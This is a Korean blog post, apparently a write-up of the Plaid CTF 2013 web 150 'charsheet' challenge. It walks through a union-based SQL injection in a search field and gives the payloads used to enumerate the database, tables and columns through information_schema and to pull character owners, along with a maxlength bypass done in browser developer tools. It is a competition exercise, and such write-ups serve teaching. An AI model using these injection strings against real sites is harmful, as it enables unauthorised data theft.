본문 바로가기

Computer Security/CTF

[plaid CTF 2013] web 150 write up

이번 plaid CTF 에서 가장 만만했던 문제는 web 150 charseet 문제밖에 없었다.


나머지는 탈탈탈 털렸다. 특히 64비트 elf 문제들.......


그 문제들과는 반대로 web 150문제는 너무 쉬워서 거의 바로 풀었던것 같다.


union sql injection 문제였는데, 취약점은 search를 하는부분에 있었다.


우선 로그인을 하고나서, search 부분에 들어간후, ' (따옴표) 를 삽입해보면 아래와 같은 에러가 뜬다.


Failed to query database: SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER(''%') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15 


붉은 부분에 내가 쓴 글자가 들어가는것을 확인했고, 대충 형식이 어떤 형식인지 파악했으므로, 바로 인젝션에 들어간다.


대충 해보니 필터링은 없는것 같아서 union을 사용했다.


컬럼의 갯수가 6개이니, 6개로 맞춰주고, database의 이름을 빼오기 위해 아래의 쿼리문을 넣어준다.


 ') union (select 'a',database(),'a','a','a','a') # 


하지만, 글자가 20개 제한이라서 그냥 넣지는 못하는데, 크롬의경우 F12를 눌러 개발자도구를 열고, maxlength=20을 검색해서, maxlength=1000으로 바꾸고 진행했다.


이렇게 database의 이름을 구하고, 차례대로 table들의 이름, column들의 이름을 구한다.



 ') union (select 'a',table_name,'a','a','a','a' from information_schema.tables where table_schema='charsheet' ) # 


 ') union (select 'a',column_name,'a','a','a','a' from information_schema.columns where table_name='characters' ) # 


전부 구하고나서는, 최후의 목적은 관리자의 캐릭터를 찾는것이므로, characters 테이블의 cname과 owner을 불러온다.



') union (select 'a',cname,owner,'a','a','a' from characters) #  


그러면 아래의 결과가 나오고, 그 결과가 정답이다.


Character NameLast EditedOwnerTemplateCampaign
r3al50ftwar3ftwadminaaa